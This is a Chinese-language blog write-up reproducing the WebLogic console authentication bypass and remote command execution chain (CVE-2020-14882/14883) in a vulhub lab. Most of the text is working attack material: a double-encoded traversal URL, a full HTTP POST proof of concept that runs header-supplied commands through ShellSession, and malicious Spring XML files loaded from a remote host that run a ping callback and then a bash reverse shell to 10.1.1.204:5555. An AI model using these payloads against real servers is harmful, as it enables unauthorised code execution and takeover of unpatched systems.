0%

Weblogic console未授权远程命令执行(CVE-2020-14882,CVE-2020-14883)复现

漏洞简介

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

影响版本

  • WebLogic 10.3.6.0.0
  • WebLogic 12.1.3.0.0
  • WebLogic 12.2.1.3.0
  • WebLogic 12.2.1.4.0
  • WebLogic 14.1.1.0.0

漏洞复现

使用vulhub搭建漏洞环境,docker-compose up -d开启weblogic 12.2.1.3服务器

Weblogic console权限绕过漏洞(CVE-2020-14882)

漏洞环境url拼接/console/css/%252e%252e%252fconsole.portal,即可直接访问console后台

搭的环境和之前遇到的环境都遇到一个问题,访问上述url后会重定向到/console/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1,显示404界面,并未进入后台,这时再将url路径改为/console/css/%252e%252e%252fconsole.portal,即可进入后台

可以看到,当前用户权限很低,不能通过部署应用来getshell

Weblogic console远程命令执行(CVE-2020-14883)

此时需要使用CVE-2020-14883来执行命令。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

利用com.tangosol.coherence.mvel2.sh.ShellSession的POC如下:

com.tangosol.coherence.mvel2.sh.ShellSession仅存在于weblogic 12.2.1以上版本,因此并不能在10.3.6利用,存在一定的局限性。

POC(12.2.1以上版本)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 192.168.26.103:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
cmd: whoami
Content-Length: 1258

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");

10.3.6版本漏洞利用

这里使用的是vulhub CVE-2018-2628的漏洞环境,正常情况下上边的环境应该也能用下边的方式复现,但vulhub CVE-2020-14882的环境是基于极简版的centos,没有ping命令,所以换了个10.3.6的环境

针对10.3.6版本的Weblogic,需要利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

1、构造xml文件,并将其放在weblogic服务器可以访问到的web服务根目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[ping -c 4 whhm0b9cvuegxbdnfzae4wvw3n9ex3.burpcollaborator.net]]></value>
</list>
</constructor-arg>
</bean>
</beans>

2、漏洞环境url拼接/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://10.1.1.204:8001/test.xml"),使weblogic加载这个xml并执行其中的命令

反弹shell

修改xml文件中要执行的命令为反弹shell的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/10.1.1.204/5555 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

成功获取shell

参考链接

https://www.freebuf.com/articles/network/257495.html

https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md